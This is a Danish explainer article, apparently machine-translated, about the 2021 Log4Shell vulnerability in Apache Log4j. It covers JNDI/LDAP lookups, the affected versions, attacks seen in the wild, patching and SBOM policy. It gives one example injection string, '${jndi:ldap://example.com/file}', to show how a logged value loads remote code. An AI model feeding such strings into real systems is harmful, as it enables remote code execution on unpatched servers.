Indholdsfortegnelse[Skjule][At vise]
I slutningen af november 2021 afslørede vi en stor trussel mod cybersikkerhed. Denne udnyttelse vil potentielt påvirke millioner af computersystemer verden over.
Dette er en guide til Log4j-sårbarheden, og hvordan en overset designfejl efterlod over 90 % af verdens computertjenester åbne for angreb.
Apache Log4j er et open source Java-baseret logningsværktøj udviklet af Apache Software Foundation. Oprindeligt skrevet af Ceki Gülcü i 2001, er det nu en del af Apache Logging Services, et projekt under Apache Software Foundation.
Virksomheder over hele verden bruger Log4j-biblioteket til at aktivere logning på deres applikationer. Faktisk er Java-biblioteket så allestedsnærværende, at du kan finde det i applikationer fra Amazon, Microsoft, Google og mere.
Bibliotekets fremtrædende plads betyder, at enhver potentiel fejl i koden kan efterlade millioner af computere åbne for hacking. Den 24. november 2021, en cloud sikkerhed forsker, der arbejder for Alibaba, opdagede en frygtelig fejl.
Log4j-sårbarheden, også kendt som Log4Shell, har eksisteret ubemærket siden 2013. Sårbarheden tillod ondsindede aktører at køre kode på berørte systemer, der kører Log4j. Det blev offentliggjort den 9. december 2021
Brancheeksperter kalder Log4Shell-fejlen for største sårbarhed i nyere tid.
I ugen efter offentliggørelsen af sårbarheden opdagede cybersikkerhedshold millioner af angreb. Nogle forskere observerede endda en hastighed på over hundrede angreb i minuttet.
Hvordan virker det?
For at forstå, hvorfor Log4Shell er så farligt, er vi nødt til at forstå, hvad det er i stand til.
Log4Shell-sårbarheden giver mulighed for vilkårlig kodekørsel, hvilket grundlæggende betyder, at en angriber kan køre enhver kommando eller kode på en målmaskine.
Hvordan opnår den dette?
Først skal vi forstå, hvad JNDI er.
Java Naming and Directory Interface (JNDI) er en Java-tjeneste, der gør det muligt for Java-programmer at opdage og slå data og ressourcer op via et navn. Disse katalogtjenester er vigtige, fordi de giver et organiseret sæt poster, som udviklere nemt kan referere til, når de opretter applikationer.
JNDI kan bruge forskellige protokoller til at få adgang til en bestemt mappe. En af disse protokoller er Lightweight Directory Access Protocol eller LDAP.
Når du logger en streng, log4j udfører strengsubstitutioner, når de støder på udtryk af formen ${prefix:name}
.
For eksempel: Text: ${java:version}
kan være logget som Tekst: Java version 1.8.0_65. Den slags substitutioner er almindelige.
Vi kan også have udtryk som f.eks Text: ${jndi:ldap://example.com/file}
som bruger JNDI-systemet til at indlæse et Java-objekt fra en URL gennem LDAP-protokollen.
Dette indlæser effektivt dataene, der kommer fra den pågældende URL, ind i maskinen. Enhver potentiel hacker kan hoste ondsindet kode på en offentlig URL og vente på, at maskiner, der bruger Log4j, logger den.
Da indholdet af logmeddelelser indeholder brugerkontrollerede data, kan hackere indsætte deres egne JNDI-referencer, der peger på LDAP-servere, som de kontrollerer. Disse LDAP-servere kan være fulde af ondsindede Java-objekter, som JNDI'en kan udføre gennem sårbarheden.
Hvad der gør dette værre er, at det er ligegyldigt, om applikationen er en server-side eller en klient-side applikation.
Så længe der er en måde for loggeren at læse angriberens ondsindede kode, er applikationen stadig åben for udnyttelser.
Hvem er berørt?
Sårbarheden påvirker alle systemer og tjenester, der bruger APache Log4j, med version 2.0 til og med 2.14.1.
Flere sikkerhedseksperter anbefaler, at sårbarheden kan påvirke en række applikationer, der bruger Java.
Fejlen blev først opdaget i det Microsoft-ejede Minecraft-videospil. Microsoft har opfordret deres brugere til at opgradere deres Java-udgave Minecraft-software for at forhindre enhver risiko.
Jen Easterly, direktøren for Cybersecurity and Infrastructure Security Agency (CISA), siger, at leverandører har en stort ansvar for at forhindre slutbrugere i, at ondsindede aktører udnytter denne sårbarhed.
"Sælger bør også kommunikere med deres kunder for at sikre, at slutbrugere ved, at deres produkt indeholder denne sårbarhed og bør prioritere softwareopdateringer."
Angrebene er angiveligt allerede begyndt. Symantec, et firma, der leverer cybersikkerhedssoftware, har observeret et varieret antal angrebsanmodninger.
Her er nogle eksempler på de typer angreb, som forskere har opdaget:
- botnets
Botnets er et netværk af computere, der er under kontrol af en enkelt angribende part. De hjælper med at udføre DDoS-angreb, stjæle data og andre svindelnumre. Forskere observerede Muhstik-botnettet i shell-scripts, der blev downloadet fra Log4j-udnyttelsen.
- XMRig Miner Trojan
XMRig er en open source cryptocurrency-miner, der bruger CPU'er til at mine Monero-tokenet. Cyberkriminelle kan installere XMRig på folks enheder, så de kan bruge deres processorkraft uden deres viden.
- Khonsari Ransomware
Ransomware refererer til en form for malware designet til krypter filer på en computer. Angribere kan derefter kræve betaling til gengæld for at give adgang tilbage til de krypterede filer. Forskere opdagede Khonsari ransomware i Log4Shell-angreb. De retter sig mod Windows-servere og gør brug af .NET frameworket.
Hvad sker der nu?
Eksperter forudsiger, at det kan tage måneder eller måske endda år at rette op på det kaos, der er forårsaget af Log4J-sårbarheden.
Denne proces involverer opdatering af alle berørte systemer med en patchet version. Selvom alle disse systemer er lappet, er der stadig den truende trussel om mulige bagdøre, som hackere måske allerede har tilføjet til vinduet, hvor servere var åbne for angreb.
Mange løsninger og afhjælpninger eksisterer for at forhindre applikationer i at blive udnyttet af denne fejl. Den nye Log4j version 2.15.0-rc1 ændrede forskellige indstillinger for at afbøde denne sårbarhed.
Alle funktioner, der bruger JNDI, vil blive deaktiveret som standard, og fjernopslag er også blevet begrænset. Deaktivering af opslagsfunktionen på din Log4j-opsætning hjælper med at mindske risikoen for mulige udnyttelser.
Uden for Log4j er der stadig behov for en bredere plan for at forhindre open source-udnyttelse.
Tidligere i maj udgav Det Hvide Hus en udøvende ordre som havde til formål at forbedre national cybersikkerhed. Det indeholdt en bestemmelse om en softwarestykliste (SBOM), som i det væsentlige var et formelt dokument, som indeholdt en liste over alle de elementer, der var nødvendige for at bygge applikationen.
Dette inkluderer dele som f.eks open source pakker, afhængigheder og API'er, der bruges til udvikling. Selvom ideen om SBOM'er er nyttig for gennemsigtighed, vil det virkelig hjælpe forbrugeren?
Opgradering af afhængigheder kan være for meget besværligt. Virksomheder kan bare vælge at betale eventuelle bøder frem for at risikere at spilde ekstra tid på at finde alternative pakker. Måske vil disse SBOM'er kun være nyttige, hvis deres rækkevidde er begrænset yderligere.
Konklusion
Log4j-problemet er mere end blot et teknisk problem for organisationer.
Virksomhedsledere skal være opmærksomme på potentielle risici, der kan opstå, når deres servere, produkter eller tjenester er afhængige af kode, som de ikke selv vedligeholder.
At stole på open source og tredjepartsapplikationer kommer altid med en vis risiko. Virksomheder bør overveje at udarbejde risikobegrænsende strategier, før nye trusler kommer frem.
Meget af internettet er afhængig af open source-software, der vedligeholdes af tusindvis af frivillige verden over.
Hvis vi ønsker at holde nettet et sikkert sted, bør regeringer og virksomheder investere i finansiering af open source-indsatser og cybersikkerhedsbureauer som f.eks. CISA.
Giv en kommentar